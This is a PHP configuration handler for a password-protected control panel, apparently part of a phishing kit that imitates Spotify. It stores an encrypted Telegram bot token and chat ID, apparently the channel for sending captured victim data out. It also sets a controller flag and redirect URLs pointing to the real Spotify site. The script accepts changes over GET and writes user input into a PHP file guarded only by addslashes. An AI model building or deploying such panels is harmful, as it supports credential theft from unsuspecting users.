<?php
/**
 * Update Panel Configuration
 * Handles configuration updates with encryption
 */

// Enable error reporting for debugging
error_reporting(E_ALL);
ini_set('display_errors', 0);
ini_set('log_errors', 1);

session_start();

// Check authentication
if (!isset($_SESSION['panel_logged_in']) || $_SESSION['panel_logged_in'] !== true) {
    http_response_code(403);
    die(json_encode(['success' => false, 'message' => 'Unauthorized']));
}

// Accept both GET and POST
$method = $_SERVER['REQUEST_METHOD'];
if ($method !== 'POST' && $method !== 'GET') {
    http_response_code(405);
    die(json_encode(['success' => false, 'message' => 'Method not allowed']));
}

// Get data from either POST or GET
$data = ($method === 'POST') ? $_POST : $_GET;

// Define BASE_PATH
if (!defined('BASE_PATH')) {
    define('BASE_PATH', dirname(__DIR__));
}

// Include encryption functions
$encryptionFile = __DIR__ . '/../includes/encryption.php';
if (!file_exists($encryptionFile)) {
    http_response_code(500);
    die(json_encode(['success' => false, 'message' => 'Encryption file not found']));
}
require_once $encryptionFile;

// Verify encryption functions
if (!function_exists('encryptData') || !function_exists('decryptData')) {
    http_response_code(500);
    die(json_encode(['success' => false, 'message' => 'Encryption functions not available']));
}

// Get form data
$botToken = trim($data['bot_token'] ?? '');
$chatId = trim($data['chat_id'] ?? '');
$telegramEnabled = isset($data['telegram_enabled']) ? 'true' : 'false';
$controller = isset($data['controller']) ? 'true' : 'false';
$exitUrl = trim($data['exit_url'] ?? 'https://www.spotify.com');
$successUrl = trim($data['success_url'] ?? 'https://www.spotify.com/premium');

// Validate inputs
if (empty($botToken)) {
    http_response_code(400);
    die(json_encode(['success' => false, 'message' => 'Bot token is required']));
}

if (empty($chatId)) {
    http_response_code(400);
    die(json_encode(['success' => false, 'message' => 'Chat ID is required']));
}

$configFile = __DIR__ . '/../config/config.php';

try {
    if (!file_exists($configFile)) {
        throw new Exception('Config file not found');
    }
    
    $configContent = file_get_contents($configFile);
    
    if ($configContent === false) {
        throw new Exception('Cannot read config file');
    }
    
    // Encrypt sensitive data
    $encryptedToken = encryptData($botToken);
    $encryptedChatId = encryptData($chatId);
    
    // Update config content
    $configContent = preg_replace(
        "/define\('TELEGRAM_BOT_TOKEN',\s*'[^']*'\);/",
        "define('TELEGRAM_BOT_TOKEN', '" . addslashes($encryptedToken) . "');",
        $configContent
    );
    
    $configContent = preg_replace(
        "/define\('TELEGRAM_CHAT_ID',\s*'[^']*'\);/",
        "define('TELEGRAM_CHAT_ID', '" . addslashes($encryptedChatId) . "');",
        $configContent
    );
    
    $configContent = preg_replace(
        "/define\('TELEGRAM_ENABLED',\s*(true|false)\);/",
        "define('TELEGRAM_ENABLED', " . $telegramEnabled . ");",
        $configContent
    );
    
    $configContent = preg_replace(
        "/define\('CONTROLLER',\s*(true|false)\);/",
        "define('CONTROLLER', " . $controller . ");",
        $configContent
    );
    
    $configContent = preg_replace(
        "/define\('EXIT_URL',\s*'[^']*'\);/",
        "define('EXIT_URL', '" . addslashes($exitUrl) . "');",
        $configContent
    );
    
    $configContent = preg_replace(
        "/define\('SUCCESS_URL',\s*'[^']*'\);/",
        "define('SUCCESS_URL', '" . addslashes($successUrl) . "');",
        $configContent
    );
    
    // Write updated content
    @chmod($configFile, 0666);
    $result = file_put_contents($configFile, $configContent, LOCK_EX);
    @chmod($configFile, 0644);
    
    if ($result === false) {
        throw new Exception('Cannot write to config file');
    }
    
    // Log the change
    $logFile = __DIR__ . '/../logs/panel_access.log';
    $logData = "[" . date('Y-m-d H:i:s') . "] Settings updated - Bot Token and Chat ID encrypted\n";
    @file_put_contents($logFile, $logData, FILE_APPEND);
    
    echo json_encode([
        'success' => true,
        'message' => 'Settings saved successfully! Bot Token and Chat ID are now encrypted in config.php'
    ]);
    
} catch (Exception $e) {
    http_response_code(500);
    echo json_encode([
        'success' => false,
        'message' => $e->getMessage()
    ]);
}
?>
